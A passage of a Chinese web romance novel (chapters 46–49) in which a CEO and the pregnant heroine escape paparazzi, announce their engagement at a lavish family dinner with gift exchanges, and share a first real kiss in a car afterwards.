直到咔哒一声,伴随着对方手里的长剑摔落在地,记分屏幕亮起,这场比拼智力与体力的殊死搏斗,终于到了尾声,个子较矮的那个人,取得了彻底的胜利。 “太牛了!不愧是我看中的人!”同桌的欢呼声立即在她耳边响起,对方迅速拿起了手机,甚至打开了闪光灯,就对着台上的胜者拍去。 而当姜绒仍旧满脸疑惑,看向台上的冠军,骨节修长的手指,将头上的头盔摘掉,露出了一张被汗水浸湿的,眉骨高挺,冷情禁欲的脸以后。 她惊呆了——这个人竟然是陆沉渊! 她就这么莫名其妙的,被同桌拉来专门看了一场,最讨厌的人的比赛。 而对方的目光,也穿过人群,迅速落在了她身上,眸中似乎有一闪而过的疑惑。 随即,更意想不到的事情发生了,陆沉渊迈开了腿,径直向台下的她走了过来。 姜绒瞬间觉得尴尬无比,浑身都不自在,内心瞬间响起了无数声救救我!谁能想到啊,陆沉渊竟然会击剑! 他该不会是专门来问自己,为什么要来看她比赛的吧?她忍不住这样猜测。 然而,陆沉渊抱着头盔,径直经过她,棱角利落分明的侧脸,一滴汗珠,顺着他黑发落下。 对方在她同桌面前,停下了脚步,语气极冷,如同寒冰一般,吐出了两个字:“删掉。” 删掉?刚听到这两个字,姜绒还没有反应过来,直到看到同桌,战战兢兢,又极度不情愿的掏出了手机。 姜绒才明白了过来,原来,他是让她把偷拍了他的照片,全部删掉。 于是,当她看着同桌一副泫然欲泣,梨花带雨的模样,心不甘情不愿的,在陆沉渊的监督之下,删掉了手机里,所有精心拍下的个人特写。 那时的姜绒,在心里对于陆沉渊的讨厌,又加深了一分。 真是个奇葩,连拍照也不许! 而后来,运动会正式结束的时候,班主任召集班上所有人,到操场上拍一张班级合照,当做纪念。 点名时,一向最准时的好学生陆沉渊却不见了,而且怎么派人去操场上,去教室里找了一圈,也没有找到人。 于是运动会上的那张合照里,并没有陆沉渊。 而那张合照,却是姜绒高一结束后的暑假,去往英国时,唯一留有的班级合照。 思绪回到现在,姜绒望向坐在她身旁,陆沉渊高大的身影。 刚才她被无数闪光灯对准,追着拍的时候,是他主动穿过了人群,用他的外套盖住了她,独自面对所有的狗仔偷拍,将她带了出来。 “你永远不必对我说谢谢。”陆沉渊那双炙热的的黑眸望向她,骨节修长的手指,轻轻抚过她鬓边的红色发丝,朝她柔声说道。 姜绒脸上再度红了一下:“你以前很不爱拍照吧,也不喜欢被别人拍。” “拍照并没有什么意义。在我家,所有的合照,全部都是形式主义的存在,一切都只是为了集团公关,表现出一个和睦的家庭形象,不影响股价。” 陆沉渊点了点头,语气兀然变得有些冰冷,回答她道。 从小到大,其实陆沉渊,最讨厌拍照。 每次拍照前,他都会被母亲反复检查衣着、发型,被父亲告诫,表情要得体,要展现家族继承人的气度。 摄影师也不再是记录者,而是令人恶心的导演,不断的指挥着他们:“父亲的手请搭在儿子肩上,显得亲密些”、“儿子,请看向母亲,眼神要充满爱戴”。 但虚假的姿势和表情,永远也掩盖不了,他们的家庭里,没有“爱”这种东西存在的事实。 而每一次拍家庭合影,陆沉渊都会深切感觉,自己不是一个有血有肉的人,而是一个被摆弄的、需要呈现出“幸福家庭”品牌形象的道具。 每一次快门的闪烁,都不是在记录瞬间,而是在完成一次情感的造假。也因此,这让他对拍照,产生了生理性的排斥。 姜绒亦愣住了,她没有想到,会从陆沉渊嘴里,听到这样的答案。 望向他那张冰冷的,如同沉在冬天里的脸,她却不由自主的伸出纤长的手指,轻轻覆盖在了他宽大的手背上,朝他笑了一下,温柔说出了声: “那以后,你的每一张照片,都由我来给你拍,好吗?” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! [星星眼][撒花] 第47章 第四十七章 我们订婚。 听姜绒说完这句话, 看着她的笑脸。 陆沉渊目光落在她弯弯的眉眼,唇边的虎牙和甜美的小小梨涡上,眼神变得深邃而炙热。 然后, 他伸出宽大的手掌,握住她白皙纤长的小手, 按在了自己心口上,沉声回答她道:“好。” “我的形象权,可以独家授予给你。” 姜绒手指颤抖了一下, 感受着他有力的心跳, 脸上的红晕又加深了一分。 陆沉渊那张没有什么缺点的脸, 继续贴近了她, 眼尾上扬, 潮热的呼吸, 喷在她白皙耳畔, 令她心跳一滞: “但我的条件只有一个。你必须得保证,从今以后,你的镜头里,只能有我一个模特。” 姜绒小脸瞬间涨得绯红,因为他这句占有欲极强的话, 而越发乱了心神。 但偏偏她的身体如此坦诚,根本无法抗拒他的接近, 整个身体甚至开始不自觉的往他宽阔怀抱里倒去。 果然, 狐狸精就是狐狸精!对她说起话来,根本就不会害臊! “嗯, 我可以保证。”几秒钟后,回过了神来的姜绒推开他,望向车窗外的霓虹, 找回了几分清明,红着耳朵,回答他道。 陆沉渊的视线并未离开她饱满小巧的后脑勺,高大的身影甚至坐的离她更近了,明明极其宽敞的劳斯莱斯后排空间,偏偏差点把她困到了车门处: “这次,那些人看起来并不像临时来的,应该是提前得知了什么线索,有组织,有预谋的蹲点。” 听了她这话,姜绒再度想起了刚才的经历,一张白皙的小脸,气得圆鼓鼓,端起了手臂: “都怪我哥姜曜那个害人精!做什么不好,偏偏要去做明星,我看以后,我都不能回家了。” 陆沉渊听了她这话,低沉好听的声音,却在她耳后响起:“我别墅的钥匙,刚好多了一把,要不你收下?” 他宽大的手掌朝她伸开来,掌心正躺着一串钥匙。 姜绒脸上瞬间红了一下,之前虽然她同意了和陆沉渊同居,但确实也没把那里,当成一个长久居住的地,没要钥匙,而且回去别墅时,也是全部按陆沉渊的接送安排来的。 而现在,陆沉渊把钥匙给她的意思,是要她正式成为陆夫人,成为这个家的女主人吗? 那个冰冷的巨大的别墅里,住着这样一个,曾经年少时,她不喜欢,甚至非常讨厌的人。 可自接近他后的每一个瞬间,她都在重新认识他。 自己看到过他的弱点、看到过他的孤独,却也见证了他的火热、他的勇敢。 方才阳光之下,陆沉渊带给自己的,那一刻无与伦比的安心,犹在姜绒心间流淌。 这把钥匙,代表的是,她将会拥有一个家,一个全新的,与陆沉渊,以及她们的孩子,共同存在并拥有的家。 既然如此,她为何不给自己一个机会,给陆沉渊一个机会呢? 于是,姜绒红着脸,一把接过了那串钥匙,白皙纤长的掌心缓缓收拢:“那我就不客气了。” 此时,劳斯莱斯车载屏幕上的电话却响了起来,显示来电,是陆氏集团公关部的总经理。 刚刚还在偷瞄后视镜,吃瓜自家总裁和姜绒的杨西,表情立即变得严肃了起来,小心翼翼的向陆沉渊问: “陆总,公关部刘经理的电话,要接吗?” 陆沉渊点了点头,语气很冷:“接。” “陆总,您和艺术馆姜小姐的照片被拍了以后,已经被狗仔队们发出去,炒作上了热搜。标题很炸裂,现在对集团风评产生了很大的影响,只怕会影响股价。” 电话很快被接起,那边立即响起了,一道略显焦急的男声。 姜绒呆住了,这群狗仔队动作这么快的吗?连给人反应的时间都没有? “标题是什么?念给我听。”陆沉渊直切要点。 那边赶忙毕恭毕敬的回答他:“好的,陆总。” “目前排在热度第一的新闻标题是——陆氏集团总裁,地下恋情曝光,疑与当红偶像歌手抢女人,地下女友腹中怀私生子。” 这都什么跟什么呀?听到这么扯的标题,姜绒严重怀疑,这些狗仔队,是用脚写的新闻稿。 “陆总,现在需要紧急联系律师,并发律师函警告这些媒体,将相关新闻,全部删除吗?” 汇报完毕后,刘经理继续向陆沉渊,语气紧张的追问。 然而,陆沉渊的回答,却出乎意料,只有简短的两个字,令他根本想不到:“不必。” “好的。”听到了吩咐后,刘经理利落的挂断了电话。 姜绒惊讶的望向陆沉渊,向他追问道:“你为什么不公关啊?这种花边新闻,很影响你的个人形象和集团风评吧,而且据我所知,你以前从来没有,闹出过这种负面新闻吧……” “他们说的,难道不对吗?”陆沉渊那双炙热的黑眸,却骤然锁住她,朝她说道。 姜绒疑惑的瞪大了一双鹿眼,艰难的复述刚才那则新闻标题:“我成为了你和姜曜争抢的地下女友……” “后半段。”陆沉渊眉尾抽动,适时提醒她道。 姜绒这才反应了过来,他的关注点是在那则新闻,说自己是他的地下女友,腹中怀上了他私生子的后半部分。 “你……你的意思是?”她红着脸,向陆沉渊问。 陆沉渊给出的答案,令她心跳震颤,根本意想不到:“直接公开,比一切公关手段都有用。” “我们明天就去订婚,一起见父母!” “啊?”姜绒瞪大了一双鹿眼,不敢置信。 前排的杨西听到这句话,亦差点踩了脚急刹车。 看来自己运筹帷幄的判断,和持之以恒的彩虹屁都没有错,姜绒这回要彻底的,真正的成为陆夫人了。 “好吧,我同意。”鬼使神差的,姜绒红着耳朵,点了点头,同意了陆沉渊的提议。 反正自己肚子里连他的孩子都揣上了,家里的钥匙也收了,更遑论,她根本无法否认,自己对陆沉渊,有着无法抗拒的心动。 “很好,明天的一切都由我来安排。”听到这句话,陆沉渊唇角微微扬起,掩饰不住喜悦。 第二天,位于凛川地标建筑顶层,陆氏集团私人俱乐部内,需通过专属电梯卡,才能抵达的,极度华丽奢华的空中餐厅内。 整个楼层只有一个包厢,四面是环绕的落地玻璃,城市夜景如同铺在脚下的星河。 巨大的原木整板餐桌上,桌面不仅有天然纹理,其上还用璀璨的金粉,将陆沉渊、姜绒两人名字的缩写,雕刻并绘制其上。 一个以铂金框架封装的双层蚕丝纸,则摆在桌面上,纸张中央,是用古老的活字印刷技术压印出的订婚日期,温润的靛蓝,下方则悬垂着一支同色系的丝绒流苏毛笔。 姜绒身穿一身哑光暗红色旗袍,红发挽成了发髻,整个人看起来端庄得体,温婉了许多,身上散发的古典美,与平时明媚恣意的她,区别有些大。 陆沉渊的打扮亦和平时有所不同,黑发被背在脑后,露出了好看的额头,身上穿的是高级定制,带了几分中式味道的黑色西装,袖口有几朵手工刺绣的并蒂莲。 更衬托得身高188,身材比例绝佳,宽肩窄腰长腿的他,一向强大冷酷的沉稳气场中,多了几分矜贵、优雅,令人完全移不开眼睛。 当她随着陆沉渊高大的身影,一推开门,走进这个安静至极,由曾经任职于王室的专业侍应团队,进行服务的包厢内时,已经被包间内的奢华布置所震撼。 而当姜绒看到,三个戴着白手套,站姿端正的管家,手里端着的黑色天鹅绒盒子时,更令她觉得惊讶。 那上面赫然是好几套古董级别的珠宝,浪漫的粉钻和澄净的蓝钻都有,硕大璀璨到,令她看过去,都几乎睁不开眼睛。 如果她没估错的话,这几套珠宝都是足够进博物馆的水平,哪怕是在苏黎世拍卖行,用高价竞拍也无法被买下来的,至少得好几千万,甚至上亿。 很显然,这是陆家的聘礼。 苏清砚和姜新鸣,已经先一步被陆沉渊安排的司机,接来了此处,两人正恩爱的说说笑笑,见到她时立马起了身,扶着她落座:“绒绒,你快过来坐下吧。” 姜绒点了点头,在她们身旁坐了下来,看向了坐在她们对面的,陆竞深和黎婉矜。 虽然此前和陆沉渊假结婚时,戏精附体的她,曾经仓促的和她们打过一次招呼,并且虚与委蛇的假热络。 但在与陆沉渊深度接触,并明白了他童年阴影,以及童年失和的一切源头所在以后,她便对这对气宇不凡,但冷血残酷的夫妻,没有了任何好感。 “先喝点水吧。”坐在姜绒身边的陆沉渊,亲手为她铺上丝绸的餐巾,并命一旁金发碧眼的侍应生,给她倒上了一杯热水。 她点了点头,端起水杯,小小的啜饮了一口,却仍然能够感受到,陆竞深和黎婉矜的目光,停留在她身上。 “亲家,之前要多谢你们,愿意让两个孩子联姻,并且出手帮了我们的画廊一把,度过了难关。” “现在两个孩子,彼此真的拥有了深厚的感情,并且还喜结珠胎,我真是为她们感到高兴!” 深暗于人情世故的苏砚清,立即向陆竞深和黎婉矜笑了一下,语气热情而诚恳的说道。 姜绒心里却觉得有些悬得慌,毕竟,陆沉渊的父母,是那样精于计算利益的人。 他们会不会觉得自己父母巴结的话语,很掉价,甚至看不起,资产与他们相比,九牛一毛的,自己的家庭呢? 一身华服,姿态优雅的黎婉矜,说出的话,却令姜绒觉得有些意外:“绒绒,我们也觉得非常高兴,你肚子里怀上了沉渊的骨肉,我们能够抱上孙子,是莫大的幸福!” 姜绒愣了一秒,陆沉渊的母亲,竟然这么通情达理?并没有他嘴里说的那么严苛、冷血,没有感情? 然而,下一刻,从陆竞深嘴里说出来的话,却令她明白了,那是她想多了:“是啊,我们陆氏集团,终于后继有人了!” “沉渊以前都不愿意去接触女人,我们给他介绍了很多千金大小姐,全部被他推开了。一点也不懂得怜香惜玉,你能有本事怀上他的孩子,在他心里,自然是特别的。” 姜绒明白了过来,原来,都是看在她肚子里孩子的面子上,他们出于护孙心态,才说出了这些话。 坐在他身旁的陆沉渊,听了自己父亲这句话,脸色却瞬间阴沉了下来,他凌厉的黑眸,看了陆竞深一样,语气极度冰冷的提醒他道: “爸,请您说话注意点。姜绒她,不是一件待价而沽的商品,而是未来我要与之共度一生的人。” “您若是这样不讲道理和逻辑,轻视践踏她作为一个人的尊严所在,那么我可以向你保证,您未来绝对不会见到,您孙儿一面。” 听到自己儿子陆沉渊,这样斩钉截铁,说出这两句话来,陆竞深的脸色瞬间白了一下,表情也瞬间收敛了起来。 青出于蓝而胜于蓝,现在他越发体会到了,陆沉渊和他不同,在彻底掌权陆氏集团以后,不仅能力和手段,远远超过他,比他想要培养的继承人的模样,还要完美无数倍。 而且,他任何一句说出的话,必然言出必行,不择手段,不留余力的去达到。 因此,陆沉渊对他的警告,并不仅仅只是口头威胁,而是会成为必然发生的行为。 于是,陆竞深在自己儿子面前,无比狼狈的认输了。 “咳,姜绒,对不起啊,刚才爸说的话,你别放到心里去。”他赶忙替自己找补了一句。 一旁的黎婉矜看到这一幕,亦迅速换上了一副谄媚的表情,将一份已经公证过的、凛川核心地段一栋豪华别墅的产权赠与协议,以及一张银行卡递向了姜绒: “绒绒,那些珠宝,还有这份赠予协议,以及这张装了彩礼的银行卡,都是我们给你的聘礼。” 姜绒伸出纤长的手指,接过那份协议,只是略微翻看了几秒钟,就看到了上面写着的,暗含居住权限制以及未来继承的复杂条件。 于是放下那份协议后,她扬了扬唇,心里的主意已定。 “绒绒,以后咱们都是一家人了,有任何需要帮助的地方,都可以跟我们说。”黎婉矜继续热情的开口,向她说道。 但很快,姜绒的回答,令她意想不到,瞪大了一双眼睛。 只见姜绒,动作优雅的撩了撩鬓边发丝,随即白皙纤长的手指,从她的香奈儿包包里,掏出了一沓厚厚的纸: “爸、妈,我还真的有忙,需要你们帮。这是我专门为孩子的爷爷奶奶,为你们俩量身打造的,我的孕期要求清单!” 听到这话,先炸锅的是苏清砚,她对自己女儿那鬼精灵的性格最了解,于是立即伸手拉了一把姜绒,极小声的朝她说道:“弄什么孕期要求清单?快别折腾你公婆了,消停点!” 然而,姜绒只当自己妈是空气,根本不理会她的劝说。 谁能想到姜绒竟然会这么快,因为她说出的这句客套话,而借坡下驴。 为了陆氏集团将来的继承人,自己未来的孙儿着想,陆竞深和黎婉矜,也只得硬着头皮,点了点头,微笑着回答姜绒:“好的,没问题,你尽管提。” 于是姜绒清了清嗓子,捧着那几张纸,站起了身来,向陆竞深和黎婉矜,声情并茂的大声宣布,并要求了起来。 而她说出的话,很快令一旁,原本还觉得满头雾水、疑惑的陆沉渊,很快微微勾了勾唇角,完全换上了一副了然于心,憋笑略难的表情。 而听到了姜绒要求的陆沉渊父母,瞬间脸色铁青,面面相觑,不敢置信: “为了给宝宝建立一个充满表达自由的家庭印象,需要二老,每周共同完成一幅抽象派手指画,主题为《我们的爱》,画作将在家里装裱起来。” “为了避免宝宝未来具有攻击性,性情足够温良,在孕期,宝宝不能听到任何商业谈判以及生意上的事情!” “与此同时,需要奶奶,每周录制三首,由您亲自演唱的经典摇篮曲。” “需要爷爷,每周录制两小时的温情朗读,书目我已经选好了,是《小王子》和《猜猜我有多爱你》,务必要用充满戏剧性、抑扬顿挫的童话朗读语调,来完成!” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! [亲亲][撒花][撒花] 第48章 第四十八章 明天就去领证! 要求他们夫妻俩一起画画?而且主题还是《我们的爱》?而且要唱摇篮曲, 以及用童话的语调来读《小王子》? 陆竞深和黎婉矜没有想到,他们顺风顺水的一辈子,遇到的最大困难, 竟然是自己的准儿媳带来的。 两人窘迫至极,面面相觑。 本就是利益联姻下的表面夫妻, 他们俩哪来这种感情呢? 读完自己的要求,姜绒放下手里的纸,笑容明媚而大方, 望着自己公公婆婆: “爸、妈, 我这要求不难吧?相信你们为了孙子, 可以完美完成任务。” “不难, 不难。”陆竞深伸出颤抖的手指, 端起桌上的顶级武夷山母树大红袍, 喝了一口, 回答她道,却差点被呛到,咳了几下。 姜绒脸上的笑容更大:“那就麻烦你们了!我会拉个小群,要求你们把每周的作业发到群里。” “每……每周?”黎婉矜攥紧手里的稀有鳄鱼皮爱马仕包包,脸色白了一下, 不敢置信的反问。 苏清砚尴尬到不行,伸出手轻轻掐了自己女儿一把, 赶忙笑着当起了和事佬:“亲家公、亲家母, 我家绒绒,就是从小被我们宠坏了, 所以鬼点子多,你们就别当真了。” 陆沉渊的声音,却适时的响了起来, 他气场强大,望向坐在对面的陆竞深和黎婉矜: “爸、妈,我看姜绒的提议非常好,毕竟你们都是要做爷爷奶奶的人了,有些感情,是无法用利益和算法决定的。” 黎婉矜见儿子都已经发话了,赶忙点了点头,扯着笑容附和道:“是,阿渊说的对,我们就照做就行了。” “我们也给两个孩子,准备了礼物。”姜新鸣在自家老婆的一个眼神之下,立即站起了身来,打破了氛围,转移话题,笑着拿出了他给两人准备的新婚礼物。 姜绒坐下身来,有些期待的看向自己父母:“老姜,你给我们准备什么好东西啦?” 姜新鸣笑了一下,首先将自己带来的,放在桌子底下的,一棵绿色枝叶繁茂的小树苗,摆在了桌面上。 “哇,这个是什么树啊?”姜绒站起身来,径直走到他面前,向他问出了口。 姜新鸣眼神里写满了对于女儿的疼爱:“你从小到大,不是都最爱吃酸酸甜甜的柑橘吗?生活也是这样,有甜的时候,就有酸的时候。” “我希望你和沉渊一起,把它种在你们的院子里。它深扎在土里的根,就是你们的现在。而它结出来的每一个果子,都是你们未来的甜。” 姜绒听了这番话若有所思,白皙纤长的手指,轻轻抚过那些绿色的,充满了生机与期待的叶子。 “好的,爸,您放心,我一定会和姜绒亲手种下去。”陆沉渊高大的身影,亦站了起来,走到姜绒身边,宽大的手掌,轻轻握住了她纤小的手,许下了承诺。 骤然感受到手背传来的温热,姜绒脸上红了一下,望向陆沉渊那张利落好看的侧脸,心内有些温暖。 “绒绒,还有这份股份转让合同,你收下。这是咱们家里连锁画廊的股份,我和你妈已经做了决定,80%的股份都赠给你,这是你将来的底气和保障。” 姜新鸣却再次拿出了一个牛皮纸袋,将里面一份早已打印好的合同,拿了出来,递给了姜绒。 姜绒愣住了,瞪大了一双眼睛:“爸、妈,你们怎么把这么多的股份,都给了我?姜曜怎么办呢?” 虽然姜曜早就打算走他偶像歌手的路,不打算继承家里的画廊,但父母将80%的股份都给了自己,这样会嫁出去的女儿,而没有留给她的哥哥,这实在令她有些意想不到。 “绒绒,你哥也同意。他是男人,一切都靠自己去闯。而你是我们最宝贵的女儿,娘家就是你最大的避风港。虽然我们,没有你婆家富裕,但为了你的幸福,我们一定会全力以赴。” 姜新鸣却看着她,一字一顿,认真说道。 姜绒纤长的手指,握紧那份合同,眼眶已然红了,泪水在打着转。 虽然,从小到大,她就知道,自己的原生家庭很幸福,有父母永远不留余力的支持她、理解她、爱着她,有哥哥对她无限的包容与宠爱。 但到了自己即将出嫁的这一刻,收到父母这样的礼物,仍然让她如此感动而惊喜,内心的温暖无法用语言来形容。 目睹了这一切,看到了姜新鸣给女儿送出的这样的礼物,陆竞深和黎婉矜,一向看不出情绪起伏的脸上,此刻也松动了起来。 事实上,从来不把感情当回事,只把集团的利益放在第一位,在儿子的成长过程中,忽视了爱,永远只扮演着铁面无私的考官。 头一次,陆竞深有些想反醒自己,从小到大,他给予陆沉渊的一切,真的是他想要的吗? “绒绒,妈妈也有礼物送给你。”苏清砚亦站起了身来,从自己的手工艺术编织袋里,拿出了一本纯牛皮封面的空白相册。 姜绒伸手将这本做工精致的相册接了过去,显然无论是封面的水墨画,还是用编织的麻绳作成的线圈,都告诉了她,这是母亲苏清砚,亲自动手,做出来的一本相册。 “这本相册,我希望将来你和沉渊,可以用你们和宝宝的温馨照片,将它填满。扉页上,我还写了几句诗,是我送给你和沉渊的。” 苏清砚语气里充满了慈爱,望向自己女儿笑了一下,提醒她道。 姜绒赶忙翻开了这本相册,上面确实有两行,母亲手写的诗,字体娟秀而好看,令她眼眶再度湿润了起来: “爱之于我们,是一饭一蔬,是肌肤之亲,是平凡的守望,也是褪去所有光环与荣誉后,疲惫生活中的英雄梦想。” “祝你们在这趟充满爱的旅程里,永远能够体会到平凡而简单的,幸福的味道!” 果然,还是自己的母亲,最了解自己,她如此明白,初中时那一场,她经历过的意外之后,在心底留下了多么难以磨灭的阴影,得上了hsdd。 因此,她在用她亲手写的诗,鼓励她勇敢向前,用爱当然也包括了肌肤之亲,是如同一日三餐般,最普通平常的存在,来化解自己女儿心里的阴影。 站在一旁的陆沉渊,清楚的看到了,苏清砚写出的这两行诗,心内亦有所触动。 作为精心培养的家族继承人,一台完美运转的机器,他从小被告知,要事事力求完美,要为自己挣得所有光环,所有荣誉,所有地位。 但从来没有人,如同苏清砚一般,这样告诉他。 爱,恰恰与一切的光环、一切的功成名就无关。 爱是如此平凡,如此简单,它只看到了,你是你,我是我,是褪去一切后,我仍然爱着如此普通、又如此特别的你。 “老苏,你现在不做厨师了,反倒成大诗人了是不是?我快追不上你的脚步了!” 姜绒将那本相册,小心翼翼的关上,仔细的擦了擦封皮,放进自己的包包里,忍住内心的汹涌情绪,眼眶里含着泪,打趣了她一句。 苏清砚却再次,从她的包里拿出了一样东西来,轻轻挂在了姜绒的脖子上。 姜绒愣了一下,低头看去,纤长的手指拿起来查看时,却在看清东西是什么以后,这次泪水再也忍不住了。 滴滴滚烫的泪水,落在黄铜铸成的材质上。 那赫然是一根——由家里的钥匙,而打制成的造型复古的项链。 “绒绒,这是一把永远不会更换锁芯的家里钥匙。” “这里永远是你的家,这扇门永远为你敞开。将来无论是你想家了,还是受委屈了,或者只是想安静一下,你都随时可以回家。” “这里永远有你的房间,和一碗热汤。” 苏清砚伸出布了些皱纹的手指,轻轻抚去女儿脸上的泪珠,朝她柔声说道。 “嗯,谢谢妈,谢谢爸!我爱你们!”姜绒再也忍不住了,一把抱住苏清砚和姜新鸣,朝他们俩说道。 这样温馨的一幕,却是在场的其他三个人,从来未曾见到过的场面。 这些由姜新鸣和苏清砚,用心准备的礼物,每一样都是出于对女儿深深的爱而出发,如此珍贵,并不是冰冷而昂贵的珠宝,可以比得上。 黎婉矜拿起丝绸方巾,悄悄擦了一把眼泪。 她不记得,爱这种字眼,何时有从自己的嘴里,或者自己丈夫、自己儿子的嘴里,说出来过。 而坐在座位上的陆竞深,久久的看着,这相拥在一起的一家三口,深深地沉默着,脸上的表情若有所思。 “好啦,今天是个大好的日子!我可是特地带了瓶76年的柏图斯干红过来,咱们可得不醉不归啊!” 送礼环节一结束,姜新鸣赶忙拿出了一瓶红酒来,兴冲冲的朝大家说道。 姜绒知道,自己父亲历来欢脱,除了是个艺术品鉴定专家以外,还是个资深的红酒鉴赏专家,平时最喜欢小酌一下了,自己也继承了他,千杯不倒的体质。 只是,看来作为准女婿,陆沉渊这顿酒,是必然逃不过了。 果然,姜新鸣令侍应生拿来红酒杯以后,便迫不及待的将一个酒杯摆在了陆沉渊面前: “来,沉渊,今天可是你和绒绒的好日子,你可得陪爸喝几杯啊!” 姜绒伸出纤长的手指,轻轻扯了扯陆沉渊的西装袖口,小声提醒他:“我爸酒量很好的,你不陪他喝也可以的。” 但陆沉渊那双炙热的黑眸,却看了她一眼,没有拒绝姜新鸣的提议,反而站起身来,弯下腰去,伸手恭恭敬敬的接过了被他满上的酒杯: “爸,妈。感谢你们多年以来,对姜绒的悉心栽培,从今天起,请放心地,把她的未来交给我。” 话毕,他骨节修长的手指,端起红酒杯,仰起修长的脖颈,将整杯酒,一饮而尽。 “不错!爸就欣赏你这种人,来咱们再喝几杯!”看到他如此利落干脆,姜新鸣立即笑出了声来,也喝了却又再次站起身来,往他杯子里满上了红酒。 “沉渊的酒量,不是很好的……”看到这一幕,黎婉矜语气有些担忧,望向他们说道。 知道自己老爸,是个越喝越起劲的人,又听到自己婆婆说出来的话,姜绒心里更加担心了,伸手再次去扯陆沉渊。 然而,陆沉渊的说一不二是根本挡不住的,硬生生的陪着姜新鸣,将整瓶红酒都喝完了。 “老姜,你这再为绒绒高兴,也不能让小陆喝那么多酒呀。”直到苏清砚一个白眼过去,出声制裁。 姜新鸣立即焉了下去,说什么也不再喝了,也不开新酒了。 而一餐饭毕,酒量本就比不上姜新鸣的陆沉渊,早就已经喝得醉醺醺的了。 陆家安排的司机,亦很快到达了大厦的专用停车场,各自送他们回家。 姜绒知道陆沉渊有洁癖,所以没有让杨西来搀扶,而是亲自扶着他高大的身影,上了宽敞的黑色宾利后座。 陆沉渊倚靠着她,骨节修长的手指,勾着自己甩在肩头的西装外套,在后座上艰难的坐了下来。 车厢里弥漫着清浅的酒气,与他身上惯有的冷冽雪松香味,交织在一起。 陆沉渊仰头靠着椅背,仿佛被抽走了所有支撑的力量,冷白的皮肤上,此刻已经泛起了一层由内而外的绯红,高挺鼻梁上的眼镜,则早已不知掉落去了何处。 那双总是规整交叠的长腿,此刻无意识地敞开一个随性的弧度,透着几分平日里绝无可能的随意与痞性。 向来扣到喉结下方的白色衬衫领口,此刻也松开了两颗纽扣,规整的黑色领带被他扯得松垮,歪在一边。 一小片透着红的冷白肌肤,从领口露出,暴露在昏暗的光线下,形状好看的锁骨,若隐若现,随着他有些沉重的呼吸微微起伏。 而陆沉渊那双历来漆黑冷酷,冷静理智的眸子,此刻却有些迷离,目光炙热的锁住她,和平时都不一样。 “你……好点了吗?要不要喝点水?” 不太习惯这样,醉了酒以后的陆沉渊,却又不舍得将视线,从他那张实在好看,没有任何缺点的脸上移开,姜绒红着脸,朝他关切的问道。 陆沉渊却并没有回答她的问题,一双炙热的黑眸,却只是久久的看着她,没有回答任何话来。 知道他是喝醉了酒的缘故,也没法用平常的思维来看待她。 但那道目光,实在是有些过于炽热了,令姜绒逐渐觉得口干舌燥,身上也开始莫名升温,自己倒也如同,喝醉了酒的人一般。 “宝宝,我们明天就去领证好不好?”陆沉渊高大的身影,却兀然贴近她,宽大的手掌,圈住她腰身,呼吸炙热,喷洒在她白皙耳畔,醉醺醺的向她说道。 姜绒脸上瞬间红了起来,但她知道,他只是因为醉得厉害。 “好呀……”于是,她一边红着耳根,顺着他回答。 一边向前排的杨西说道:“杨助理,麻烦你把车窗打开来,让他醒醒酒吧。” “陆夫人,车一直开的话,反倒容易伤胃,要是陆总吐出来就不好了,要不我找个地方停车,让他醒酒?” 杨西眼里却灵光一闪,径直向她提议道。 姜绒红着耳朵,点了点头:“好吧。” 于是,线条流畅的黑色宾利,在江边停了下来,混杂着湿气的风,向车内吹来。 杨西借口抽烟,极其识趣的离开了车。 偌大的车厢内,瞬间只剩下了他们二人。 “风吹的凉不凉?我给你盖上吧。”姜绒根本不敢与,已经安静了下来的陆沉渊,那双炙热迷离,径直锁住她的眸子对视。 她低下头,伸出纤长的手指,拿起一旁,属于他的宽大西装外套,欲盖到他长腿上去。 下一秒,陆沉渊高大的身影,却径直向她白皙纤细的腿上倒去了,他紧闭着双眸,似乎是在她身上,令他感到非常安心。 这么快就睡着了?姜绒差点惊呼出声。 然而,当她低头看向,枕在自己腿上的他时,心内却瞬间柔软了下来。 这样露出安心的,毫无防备表情的陆沉渊,是她从未见到过的。 那双平日里冷静锐利、总是洞察一切的眼眸,此刻安静地阖着,长睫在眼下投出柔和的阴影,唇角甚至有了一抹,似有若无的、孩子气的浅淡弧度。 他的呼吸变得绵长而均匀,温热的气息透过她腿上的薄薄衣料,带来一阵阵熨烫。 卸下了一切伪装,脱下了所有面具,在这一方静谧、狭小的空间里,他仿佛不再是需要掌控一切的王,而她的存在,成了他唯一的归处以及黑暗中的光源。 姜绒伸出纤长的手指,轻轻拨开他额前垂落的碎发,指尖拂过他微烫的皮肤。 陆沉渊在醉梦中仿佛亦有所感应,无意识地向她掌心更深处蹭了蹭,发出一声模糊的、依赖的呓语。 他这是……在向自己撒娇?姜绒红着耳朵,忍不住这样猜测。 但当她目光触及到,陆沉渊那张形状极好看,长着一颗黑色小痣的唇时,一股冲动,兀然在她心里,再次升腾而起了。 此刻,她真的很想,偷偷亲他一下。 这一次,无关乎于欲望,也抛下了心内所有阴影,她只想纯粹表达,自己对于他的喜欢与疼惜。 于是,姜绒长睫轻颤,心跳加速,红着脸,微微俯身低头,向陆沉渊那张脸靠近了。 当与他微热的、带着葡萄酒醇厚香味的唇瓣,轻轻触碰之时,姜绒浑身一滞,心内震颤了一下。 原来,这就是真正接吻的滋味。 原来,这就是因为喜欢,所以不抵触、也不讨厌,全然接受,甚至为此而上瘾,主动去触碰一个人,与他进行亲密肢体接触的滋味。 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! [撒花][撒花] 第49章 第四十九章 想要我教你吗? 然而, 下一秒,枕在她膝盖上的陆沉渊,纤长的黑睫, 却如蝶翼一般,颤动了几下, 随即他缓缓睁开了那双,眼尾上扬的迷离黑眸。 正好与瞬间瞪大了一双鹿眼,面红耳赤, 心脏狂跳的姜绒, 对视上了。 自己第一次偷亲他!竟然就这样被抓包了! “你醒啦?杨西说把车停这里, 正好可以让你醒醒酒。” 姜绒心跳加速, 假装刚才的事情根本没有发生, 转过头去, 望着车窗外, 用自己的后脑勺,对陆沉渊说道。 一声极轻的、带着压抑笑意的气音,却在她耳畔响起。 随即姜绒感觉到,陆沉渊带着体温的修长手指,轻轻拂过了, 她刚才得逞的唇角。 他这是什么意思? 